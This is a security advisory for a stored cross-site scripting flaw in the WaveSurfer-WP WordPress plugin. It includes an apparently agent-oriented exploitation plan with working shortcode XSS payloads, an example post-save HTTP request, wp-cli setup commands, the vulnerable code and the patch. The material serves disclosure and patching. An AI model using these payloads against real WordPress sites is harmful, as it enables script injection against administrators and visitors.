WaveSurfer-WP <= 2.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'src' Shortcode Attribute
Description
The WaveSurfer-WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's audio shortcode in all versions up to, and including, 2.8.3 due to insufficient input sanitization and output escaping on the 'src' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.8.3What Changed in the Fix
Changes introduced in v2.8.4
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-1909 ## 1. Vulnerability Summary The **WaveSurfer-WP** plugin (versions <= 2.8.3) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the plugin's custom handling of the standard WordPress `[audio]` and `[playlist]`…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-1909
1. Vulnerability Summary
The WaveSurfer-WP plugin (versions <= 2.8.3) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the plugin's custom handling of the standard WordPress [audio] and [playlist] shortcodes. When the plugin is active, it hooks into the wp_audio_shortcode_override and post_playlist filters to replace the default WordPress player with a WaveSurfer-based waveform player.
The implementation fails to sanitize or escape the src attribute provided in the shortcode before injecting it into the generated HTML output. An attacker with Contributor level permissions or higher can create a post containing a malicious shortcode attribute, which will execute arbitrary JavaScript in the context of any user (including administrators) who views the post.
2. Attack Vector Analysis
- Shortcode:
[audio](and potentially[playlist]) - Vulnerable Attribute:
src - Authentication Level: Contributor+ (any user capable of creating/editing posts and using shortcodes)
- Injection Point: The
srcattribute is reflected into the front-end HTML, typically within a<div>wrapper or an<audio>tag used to initialize the WaveSurfer.js player. - Preconditions: The WaveSurfer-WP plugin must be active.
3. Code Flow
- Registration: In
wavesurfer-wp.php, theWaveSurfer_WP::includes()method registers the override filters:add_filter( 'wp_audio_shortcode_override' , array( $this, 'wp_audio_shortcode_override' ), 10, 2 ); - Shortcode Processing: When a page containing an
[audio]shortcode is rendered on the front end, WordPress triggers thewp_audio_shortcode_overridefilter. - Vulnerable Function: The
wp_audio_shortcode_override($html, $attr)method (found inwavesurfer-wp.php) receives the shortcode attributes via the$attrparameter. - Sinks: The function extracts
$attr['src']and incorporates it into a string of HTML. Because it lacksesc_attr()oresc_url()on this specific value, the attacker can break out of the HTML attribute context. - Rendering: The resulting HTML is returned to the WordPress rendering engine and displayed on the page.
4. Nonce Acquisition Strategy
This vulnerability does not require a plugin-specific nonce for exploitation.
- Payload Delivery: Storing the payload is done through the standard WordPress post creation/editing process. While this involves the core
_wpnonce, the agent (as an authenticated user) can perform this viawp-clior standard browser-based post saving. - Payload Execution: The execution happens passively when a user navigates to the published post. No nonce check is performed during the rendering of shortcodes in the WordPress lifecycle.
5. Exploitation Strategy
The goal is to create a post containing a shortcode that breaks out of an HTML attribute to execute JavaScript.
Step-by-Step Plan:
- Login as Contributor: Use the provided credentials to authenticate.
- Create a Malicious Post: Use the
http_requesttool to simulate a post save or usewp-clito create a post with the XSS payload. - Payload Selection: Since the
srcis likely placed inside adata-attribute or ansrcattribute of adivoraudiotag, we will use a breakout payload.- Payload 1 (Attribute Breakout):
[audio src='https://example.com/audio.mp3" onmouseover="alert(document.domain)" data-dummy="'] - Payload 2 (Tag Breakout):
[audio src='https://example.com/audio.mp3"><script>alert(1)</script>']
- Payload 1 (Attribute Breakout):
- Publish/Save: Ensure the post is saved. Contributors usually cannot "Publish" directly to the public but can "Submit for Review." However, they can view their own posts via the "Preview" functionality or if an Admin views the pending post.
- Trigger: Navigate to the post's permalink or preview URL using
browser_navigate.
Example HTTP Request (Simulating Post Save):
URL: http://localhost:8080/wp-admin/post.php
Method: POST
Content-Type: application/x-www-form-urlencoded
Body:
action=editpost&
post_ID=[POST_ID]&
post_title=Waveform+Test&
content=[audio+src="https://example.com/test.mp3\"><script>alert(document.domain)</script>"]&
_wpnonce=[CORE_WP_NONCE]
6. Test Data Setup
- Plugin Status: Ensure
wavesurfer-wpis installed and activated. - Attacker User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Target Post: A post created by the attacker.
wp post create --post_type=post --post_title="Audio Gallery" --post_status=publish --post_content='[audio src="https://example.com/audio.mp3\"><script>alert(\"XSS\")</script>"]' --user=attacker
7. Expected Results
- When any user (including Admin) visits the post URL, the HTML generated by WaveSurfer-WP will look similar to:
<div class="wavesurfer-wp" ... data-src="https://example.com/audio.mp3"><script>alert("XSS")</script>" ...> - The browser will execute the injected
<script>tag. - In the case of an attribute-based payload like
onmouseover, the script will execute when the mouse enters the player area.
8. Verification Steps
- Confirm Storage: Use
wp-clito verify the shortcode is in the database:wp post get [POST_ID] --field=post_content - Verify Front-end Output: Use
http_requestto fetch the post content and grep for the unescaped payload:
Search the response body for:# Look for the raw script tag or the attribute breakout http_request(url="http://localhost:8080/?p=[POST_ID]")"><script>alert("XSS")</script>
9. Alternative Approaches
If the src attribute is used within a JavaScript initialization block (e.g., inside wp_localize_script or an inline <script> tag) instead of HTML attributes:
- JS String Breakout Payload:
[audio src='");alert(1);//'] - Playlist Shortcode: If the
[audio]shortcode is patched but the[playlist]shortcode is not, try:
(Note: The playlist shortcode override is registered in[playlist ids="1,2" src='"><script>alert(1)</script>']post_playlistand should be investigated if the audio shortcode path differs from expectations.)
Summary
The WaveSurfer-WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'src' attribute of its audio shortcode. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into posts that executes when viewed by other users.
Vulnerable Code
/* wavesurfer-wp.php:671 */ if ( isset( $attr['ogg'] ) ) { $link = $attr['ogg']; } if ( isset( $attr['src'] ) ) { $link = $attr['src']; } // Begin render $html .= '<div class="wavesurfer-block wavesurfer-audio">'; $html .= '<div class="wavesurfer-player" ';
Security Fix
@@ -673,6 +673,8 @@ if ( isset( $attr['ogg'] ) ) { $link = $attr['ogg']; } if ( isset( $attr['src'] ) ) { $link = $attr['src']; } + $link = sanitize_url( $link, array( 'http', 'https' ) ); + // Begin render $html .= '<div class="wavesurfer-block wavesurfer-audio">'; $html .= '<div class="wavesurfer-player" ';
Exploit Outline
The exploit targets the plugin's override of the native WordPress [audio] shortcode. An attacker with Contributor-level permissions creates or edits a post and inserts an [audio] shortcode with a malicious 'src' attribute, such as `[audio src='https://example.com/audio.mp3"><script>alert(1)</script>']`. When the shortcode is processed during page rendering, the plugin fails to sanitize the 'src' value, allowing the attacker to break out of the HTML attribute and inject a script tag. The payload executes whenever a user, including administrators, views the post or its preview.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.